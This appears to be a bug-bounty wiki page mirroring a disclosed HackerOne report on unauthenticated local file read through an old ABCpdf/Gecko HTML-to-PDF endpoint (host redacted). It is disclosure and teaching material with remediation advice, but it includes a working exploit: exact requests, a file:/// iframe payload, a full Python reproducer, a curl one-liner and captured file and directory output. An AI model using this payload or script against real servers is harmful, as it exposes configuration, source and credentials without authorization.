Skip to content
Path traversal Disclosed report Intermediate

Unauthenticated arbitrary local file read via ABCpdf on www.████████

An unauthenticated HTML-to-PDF endpoint rendered attacker-supplied HTML with an old ABCpdf/Gecko engine that allowed file:/// URLs in iframes, letting an attacker read local files and list directories on the server. The attacker could read files readable by the IIS application-pool identity, including configuration and deployment content.

matty69v Follow

Originally disclosed on HackerOne

  • Triaged in 23 hours
  • Fixed in 7 days
  • Disclosed after 7 days

Vulnerability summary

The unauthenticated HTML-to-PDF endpoint at:

Text
https://www.████████/api/services/spa/PdfService.asmx/████████PdfDoc

renders attacker-controlled HTML with an old ABCpdf/Gecko engine. The renderer accepts file:/// URLs inside an iframe, loads the selected local file, and embeds its contents in the returned PDF.

This was verified without authentication by reading:

Text
file:///C:/Windows/win.ini

The same primitive also renders directory listings for file:///C:/, file:///D:/, and file:///E:/.

Vulnerable component

The endpoint is an ASP.NET ASMX service returning a JSON string containing a base64-encoded PDF:

HTTP
POST /api/services/spa/PdfService.asmx/████████PdfDoc HTTP/2
Host: www.████████
Content-Type: application/json; charset=UTF-8

The generated PDF identifies the renderer as:

Text
Producer: SCA Hygiene Products via ABCpdf
ABCpdf version marker: /ABCpdf 9125
Engine request UA: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:21.0) Gecko/ /21.0

The Gecko engine is from 2013 and permits local file:/// resources to be loaded into the server-side rendered document.

Root cause

The application accepts fields in Details████████ as trusted HTML and passes them to ABCpdf. ABCpdf then runs a browser-like HTML renderer on the server.

The renderer:

  1. Parses attacker-controlled <iframe> markup.
  2. Accepts the file:/// URL scheme.
  3. Opens the selected local path with the IIS application-pool identity.
  4. Renders the file contents or directory listing into the final PDF.

No scheme restriction, path restriction, realpath containment, or URL allowlist is applied before the local resource is loaded.

Confirmed proof

    1. Exact unauthenticated request
HTTP
POST /api/services/spa/PdfService.asmx/████████PdfDoc HTTP/2
Host: www.████████
X-HackerOne-Research: matty69v
Content-Type: application/json; charset=UTF-8
Accept: */*

{
  "Heading": "matty69v-local-file-read",
  "Subheading": "S",
  "DetailsHeading": "D",
  "DetailsSubheading": "DS",
  "DetailsFootnote": "F",
  "Details████████": "<div>BEGIN[<iframe src=\"file:///C:/Windows/win.ini\" width=\"780\" height=\"1100\"></iframe>]END</div>",
  "HowItWorksHeading": "H",
  "HowItWorksBody": "B",
  "HowItWorksContact": "C",
  "HowItWorksContactInfo": "I"
}

No session cookie, authorization header, CSRF token, or account is required.

    1. Exact response metadata
Text
HTTP status: 200
Content-Type: application/json; charset=utf-8
Response body: JSON-quoted base64 PDF
Decoded PDF size: 11772 bytes
    1. Text extracted from the returned PDF

The PDF produced by the request above contains the following content:

Text
matty69v-local-file-read
S
D
DS
BEGIN[

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

]END
F
H
B
C
I

[fonts] and MAPI=1 are the exact contents of the server's local C:\Windows\win.ini. The attacker-supplied heading and surrounding markers are also present, proving that the response is generated by the vulnerable request and is not a pre-existing static file.

    1. Directory-listing proof

Changing only the attacker-controlled field to:

HTML
<iframe src="file:///C:/" width="780" height="1100"></iframe>

returns a PDF containing:

Text
Index of file:///C:/
Name
Size
Last Modified

DFSReports
Mozilla
Packages
PerfLogs
Program Files
Program Files (x86)
Temp
Users
Windows
WindowsAzure
inetpub

This is a live server-side directory listing generated by ABCpdf from a local file URL. It is not a static webpage and it is not accessible through a normal HTTP directory on the public site.

    1. Application-root disclosure

The same primitive enumerated:

Text
E:\Sites\websites\tdp\████████

The application root contains deployment content including:

Text
App_Data
App_GlobalResources
Browsers.aspx
Corp-Market-Selector
Distributor-Finder
FlippablePdfFolder
Global.asax
Handlers
Images
PublicationCountry.xml
Services
Sitemap.aspx

This proves access outside a single known text file and shows that the renderer can enumerate the deployed application itself.

    1. Additional sensitive paths reachable from the proof

The same local-file primitive reached:

Text
C:\Windows\System32\drivers\etc\hosts
C:\ProgramData\Octopus\Tentacle\Instances\
C:\Program Files\Octopus Deploy\Tentacle\
E:\Shared_Config\
E:\Sites\websites\tdp\████████\

The readable Octopus Tentacle configuration disclosed the local deployment application directory and the local Tentacle listening port. I am not including the certificate material or other secret values in this report; those values are not needed to demonstrate the vulnerability.

Complete standalone reproducer

Save the following as repro.py and run it against the authorized asset.

Python
#!/usr/bin/env python3
import argparse
import base64
import hashlib
import json
from pathlib import Path

import requests
import urllib3
from PyPDF2 import PdfReader


ENDPOINT = (
    "https://www.████████/api/services/spa/"
    "PdfService.asmx/████████PdfDoc"
)
HEADERS = {
    "X-HackerOne-Research": "matty69v",
    "User-Agent": (
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) "
        "AppleWebKit/537.36 Chrome/136.0.0.0 Safari/537.36"
    ),
    "Origin": "https://www.████████",
    "Referer": "https://www.████████/",
    "Content-Type": "application/json; charset=UTF-8",
    "Accept": "*/*",
}


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "--file",
        default="file:///C:/Windows/win.ini",
        help="Local file or directory URL to render.",
    )
    parser.add_argument(
        "--marker",
        default="[fonts]",
        help="Text expected in the rendered PDF.",
    )
    parser.add_argument(
        "--output",
        default="/tmp/tork-abcpdf-lfi.pdf",
    )
    args = parser.parse_args()

    payload = {
        "Heading": "matty69v-local-file-read",
        "Subheading": "S",
        "DetailsHeading": "D",
        "DetailsSubheading": "DS",
        "DetailsFootnote": "F",
        "Details████████": (
            '<div>BEGIN[<iframe src="'
            + args.file
            + '" width="780" height="1100"></iframe>]END</div>'
        ),
        "HowItWorksHeading": "H",
        "HowItWorksBody": "B",
        "HowItWorksContact": "C",
        "HowItWorksContactInfo": "I",
    }

    urllib3.disable_warnings(
        urllib3.exceptions.InsecureRequestWarning
    )
    response = requests.post(
        ENDPOINT,
        headers=HEADERS,
        json=payload,
        timeout=60,
        verify=False,
    )
    response.raise_for_status()

    pdf_bytes = base64.b64decode(json.loads(response.text))
    output = Path(args.output)
    output.write_bytes(pdf_bytes)

    text = "\n".join(
        page.extract_text() or ""
        for page in PdfReader(str(output)).pages
    )
    result = {
        "endpoint": ENDPOINT,
        "file_url": args.file,
        "http_status": response.status_code,
        "pdf_bytes": len(pdf_bytes),
        "pdf_sha256": hashlib.sha256(pdf_bytes).hexdigest(),
        "marker": args.marker,
        "marker_found": args.marker in text,
        "text_preview": text[:600],
        "pdf_path": str(output),
    }
    print(json.dumps(result, indent=2))
    return 0 if result["marker_found"] else 1


if __name__ == "__main__":
    raise SystemExit(main())

Install dependencies:

Bash
python3 -m pip install requests PyPDF2

Read win.ini:

Bash
python3 repro.py \
  --file 'file:///C:/Windows/win.ini' \
  --marker '[fonts]'

Enumerate the server drive:

Bash
python3 repro.py \
  --file 'file:///C:/' \
  --marker 'Index of file:///C:/'

Expected output for the win.ini proof:

JSON
{
  "endpoint": "https://www.████████/api/services/spa/PdfService.asmx/████████PdfDoc",
  "file_url": "file:///C:/Windows/win.ini",
  "http_status": 200,
  "pdf_bytes": 11772,
  "marker": "[fonts]",
  "marker_found": true,
  "text_preview": "matty69v-local-file-read\nS\nD\nDS\nBEGIN[\n; for 16-bit app support\n[fonts]\n[extensions]\n[mci extensions]\n[files]\n[Mail]\nMAPI=1\n]END"
}

Curl-only reproduction

The same proof can be generated without the Python script:

Bash
curl -sS 'https://www.████████/api/services/spa/PdfService.asmx/████████PdfDoc' \
  -H 'X-HackerOne-Research: matty69v' \
  -H 'Content-Type: application/json; charset=UTF-8' \
  -H 'Origin: https://www.████████' \
  -H 'Referer: https://www.████████/' \
  -H 'User-Agent: Mozilla/5.0' \
  --data-binary '{
    "Heading":"matty69v-local-file-read",
    "Subheading":"S",
    "DetailsHeading":"D",
    "DetailsSubheading":"DS",
    "DetailsFootnote":"F",
    "Details████████":"<iframe src=\"file:///C:/Windows/win.ini\" width=\"780\" height=\"1100\"></iframe>",
    "HowItWorksHeading":"H",
    "HowItWorksBody":"B",
    "HowItWorksContact":"C",
    "HowItWorksContactInfo":"I"
  }' |
jq -r . |
base64 -d > proof.pdf

pdftotext -layout proof.pdf -

Expected output includes:

Text
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

Remediation

  1. Remove unauthenticated access to the PDF endpoint or require an authenticated application session.
  2. Reject file:, view-source:, jar:, gopher:, loopback, link-local, private-network, and non-HTTP(S) URLs before rendering.
  3. Allow only an explicit list of remote image URLs if external assets are required.
  4. Run ABCpdf/Gecko in an isolated worker with an empty temporary directory and no access to application source, configuration, logs, or deployment tools.
  5. Upgrade or replace the 2013-era ABCpdf/Gecko renderer.
  6. Restrict the IIS application-pool identity to the minimum filesystem permissions required at runtime.
  7. Treat all files readable by the affected application-pool identity as potentially disclosed and rotate any secrets found in them.

Impact

An unauthenticated remote user can read files owned or readable by the IIS application-pool identity and enumerate the host filesystem.

Because this is a production IIS host with an application deployment tree, Octopus deployment tooling, and shared configuration directories, the issue provides a realistic path to:

  • source-code disclosure;
  • configuration and connection-string disclosure;
  • credential and API-key disclosure;
  • internal hostname and network discovery;
  • log and deployment-script disclosure;
  • targeting of other vulnerable handlers and services.

The original report as published on HackerOne, by matty69v. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The application passed attacker-controlled HTML to ABCpdf without restricting the URL scheme or path, so the renderer loaded local file:/// resources.

Impact

An unauthenticated remote user can read files owned or readable by the IIS application-pool identity and enumerate the host filesystem, potentially disclosing source code, configuration, credentials, and internal network details.

What the attacker needed

No authentication required; Network access to the endpoint

The fix

The endpoint should require authentication, reject non-HTTP(S) URL schemes, restrict rendering to an allowlist, run the renderer in an isolated worker with minimal filesystem permissions, and upgrade the outdated ABCpdf/Gecko engine.

How it was found

  1. Send an unauthenticated POST request to the PDF service endpoint with JSON containing an iframe pointing to a local file URL.
  2. The service renders the HTML with ABCpdf/Gecko and returns a base64-encoded PDF.
  3. Decode the PDF and extract text to see the contents of the local file or directory listing.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A web service that turns HTML into a PDF was given HTML containing a special tag that tells the browser to open a file on the server itself. Because the PDF generator did not block this, it opened the file and put its contents into the PDF it sent back. This let anyone read files on the server without logging in.

What is Path traversal?

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.

More by matty69v

View all

16 more disclosed reports, best first.

More from Essity

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.